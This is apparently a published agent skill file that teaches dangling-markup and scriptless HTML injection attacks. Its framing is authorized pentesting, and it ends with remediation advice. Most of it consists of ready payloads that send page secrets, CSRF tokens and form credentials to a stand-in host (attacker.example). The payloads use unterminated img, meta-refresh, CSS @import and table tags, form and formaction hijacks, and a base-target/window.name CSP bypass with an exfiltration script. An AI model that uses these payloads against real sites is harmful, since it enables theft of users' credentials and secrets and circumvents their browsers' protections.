exploiting-dangling-markup-injection

star 618

Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data, subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks. Activates when HTML injection is found but JavaScript execution is blocked or filtered.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-dangling-markup-injection description: Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data, subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks. Activates when HTML injection is found but JavaScript execution is blocked or filtered. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • dangling-markup
  • html-injection
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting Dangling Markup Injection

When to Use

  • During authorized assessments where you can inject HTML tags but cannot execute JavaScript (XSS blocked/filtered)
  • When a CSP prevents script execution but still allows markup, CSS, meta tags, forms, or base tags
  • When a secret (token, PII, CSRF value) is rendered in clear text in the HTML near your injection point
  • When you can inject into a page that contains a form whose action/fields you want to subvert
  • When you want to mislead client-side script flow by overriding element IDs/names or JS globals

Prerequisites

  • Authorization: Engagement scope covering client-side injection and data exfiltration
  • An HTML injection point: A reflected/stored sink that renders raw tags (even if JS is filtered)
  • Collaborator/OOB server: Burp Collaborator or your own endpoint to receive exfiltrated content
  • CSP awareness: Read the target's CSP to choose a vector it does not block (img vs meta vs CSS vs base)
  • dangling_markup wordlist: carlospolop/Auto_Wordlists dangling_markup.txt for vector fuzzing

Critical: Variants Most Often Missed

The core idea: inject an UNTERMINATED attribute/tag so the browser swallows all subsequent HTML (including the secret) up to the next matching quote, and sends it to your server. Pick a vector your CSP allows.

<!-- 1. Unterminated img src: leaks everything up to the next single quote -->
<img src='http://attacker.example/log?html=

<!-- 2. meta refresh (when img is CSP-blocked); try ftp:// since Chrome blocks http with < or \n -->
<meta http-equiv="refresh" content='0; url=http://attacker.example/log?text=
<meta http-equiv="refresh" content='0;URL=ftp://attacker.example?a=

<!-- 3. CSS @import: sends everything until a ';' -->
<style>@import//attacker.example?

<!-- 4. table background: leaks until the quote closes -->
<table background='//attacker.example?

<!-- 5. base target / base href: redirect forms/links to attacker (needs user click for some) -->
<base target='            <!-- captures HTML until next quote -->
<base href="http://attacker.example/">   <!-- relative form actions now post to attacker -->

<!-- 6. Steal forms: inject a new form header overriding the next form's action -->
<form action='http://attacker.example/steal'>

<!-- 7. button formaction overrides the form's submit target -->
<button name="x" type="submit" formaction="https://attacker.example/steal">click</button>

<!-- 8. Steal clear-text secrets via a new input that swallows text up to next double quote -->
<input type='hidden' name='review_body' value="

<!-- 9. option tag: data captured until </option> -->
<form action=http://attacker.example><input type="submit"><select name=x><option

<!-- 10. noscript form (when JS disabled) covers the page with a giant submit button -->
<noscript><form action=http://attacker.example><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value=""><textarea name=contents></noscript>

CSP bypass with base + window.name (requires one click):

<!-- Injected into the victim (same-origin) page: -->
<a href=http://attacker.example/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
<!-- 'target' captures HTML until the next single quote; that HTML becomes window.name -->
<!-- attacker.example/payload.html reads the leaked window.name: -->
<script>
  if (window.name)
    new Image().src='//attacker.example/?'+encodeURIComponent(window.name);
</script>

Dangling-iframe leak (read sensitive data placed into an iframe name):

<script>
function cspBypass(win){ win[0].location="about:blank"; setTimeout(()=>alert(win[0].name),500); }
</script>
<iframe src="//victim.example/target.php?email=%22><iframe name=%27"
        onload="cspBypass(this.contentWindow)"></iframe>

How to CONFIRM a hit (avoid false negatives)

  • Exfil fired with secret: your OOB server receives a request whose query/body contains the HTML chunk between the injection point and the terminating quote — and that chunk contains the target secret (CSRF token, PII). That is a confirmed leak, not just a callback.
  • Form hijack: submitting the page sends form fields to YOUR endpoint (check your server logs for the field values), proving the action override worked.
  • base/window.name: after the victim clicks, your payload page receives window.name containing the leaked same-origin HTML.
  • Flow subversion: the injected hidden input/ID override changes the app's behavior (e.g., share-with target becomes attacker), verifiable in the resulting request.
  • Watch for browser quirks: Chrome blocks http: URLs containing < or newline, so prefer ftp:// or other schemes; verify the vector against the target's actual CSP rather than assuming.

Workflow

Step 1: Confirm HTML Injection Without JS

Inject a benign marker tag (e.g., <b>x</b> or <img src=//collab>) and verify it renders as markup. Confirm script execution is actually blocked (CSP or filtering) so dangling markup is the right approach.

Step 2: Locate the Secret Relative to the Injection

Identify what sensitive content (CSRF token, email, API key) appears AFTER your injection point in the HTML — that is what an unterminated tag will capture.

Step 3: Choose a CSP-Compatible Vector

img-src blocks images?      -> use <meta http-equiv=refresh> or CSS @import or <table background>
http blocked with < or \n?  -> use ftp:// scheme
need form data?             -> inject <form action=...> / <button formaction> / new <input>
strict CSP, allow click?    -> base target + window.name technique

Step 4: Fire the Exfiltration

<!-- Example: leak everything up to next quote into your server -->
<img src='https://collab.example/log?html=

Watch your collaborator/OOB logs for the captured chunk.

Step 5: Steal Forms & Subvert Flow

<!-- Override the next form's action -->
<form action='https://attacker.example/steal'>
<!-- Or inject a field/value that changes app behavior -->
<input type="hidden" name="invite_user" value="attacker" />
<input type="hidden" id="share_with" value="attacker" />

Step 6: CSP Bypass via base + window.name

Deliver the click-bait link with the trailing <base target=' so the same-origin HTML (including secrets) is stored into window.name; read it from your payload page after the click.

Key Concepts

Concept Description
Dangling Markup Unterminated tag/attribute that swallows following HTML up to the next quote/terminator
Scriptless Exfiltration Leaking data without JS using img/meta/CSS/table/base requests
Form Hijacking Injecting a form header/formaction/field to redirect or subvert submitted data
base Tag Abuse <base href> redirects relative form/link targets; <base target> captures HTML
window.name CSP Bypass base target stores same-origin HTML into window.name, read by an attacker page after a click
Dangling Iframe Forcing sensitive data into an iframe's name, then reading it cross-context
noscript Form Full-page submit overlay that works when JavaScript is disabled

Tools & Systems

Tool Purpose
Burp Collaborator / OOB server Receive exfiltrated HTML chunks and form submissions
Auto_Wordlists/dangling_markup.txt Fuzz dangling-markup vectors against an injection point
HTTPLeaks (cure53) Catalog of HTML elements that force outbound connections
Browser devtools Inspect how the parser consumes the unterminated tag and what gets captured
CSP evaluators Determine which vectors (img/meta/CSS/base) the target policy permits

Common Scenarios

Scenario 1: CSRF Token Exfiltration

HTML injection lands just before a hidden CSRF token field. Injecting <img src='//collab?html= captures the markup up to the next quote — including the token — and sends it to the attacker, enabling CSRF.

Scenario 2: Password Form Theft Under CSP

A page with a strict CSP forbids scripts. Injecting <form action='//attacker/steal'> before the login form makes the browser submit the credentials to the attacker when the user logs in (as in the Mastodon CSP-bypass research).

Scenario 3: base + window.name CSP Evasion

In a CSP-locked same-origin page, a click-bait link plus trailing <base target=' stores the page's secret HTML into window.name; the attacker's clicked page reads window.name and exfiltrates it.

Output Format

## Dangling Markup Injection Finding

**Vulnerability**: Scriptless HTML Injection / Dangling Markup (data exfiltration under CSP)
**Severity**: High (CVSS 7.4)
**Location**: GET /review?comment= (reflected HTML injection)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Confirm <b>x</b> renders and that CSP blocks script execution
2. Inject: <img src='https://collab.example/log?html=
3. Browser sends all HTML up to the next single quote to the collaborator
4. Captured chunk contains the CSRF token rendered after the injection point

### Evidence
| Vector | Result |
|--------|--------|
| <img src='...?html= | OOB request received |
| Captured content | includes name="csrf" value="<leaked>" |
| CSP | script-src blocked; img-src permitted |

### Impact
Clear-text secret exfiltration and form theft without JavaScript, bypassing the
CSP and enabling CSRF / credential capture.

### Recommendation
1. Context-aware output encoding for all reflected/stored HTML; do not allow raw tags
2. Use an allowlist HTML sanitizer (e.g., DOMPurify) that strips dangling/unterminated markup
3. Tighten CSP: restrict img-src, style-src, form-action, and base-uri to 'self'
4. Set base-uri 'none' or 'self' and form-action 'self' to neutralize base/form hijacking
5. Avoid rendering secrets (tokens, PII) inline in HTML near user-controlled content
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-dangling-markup-injection
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator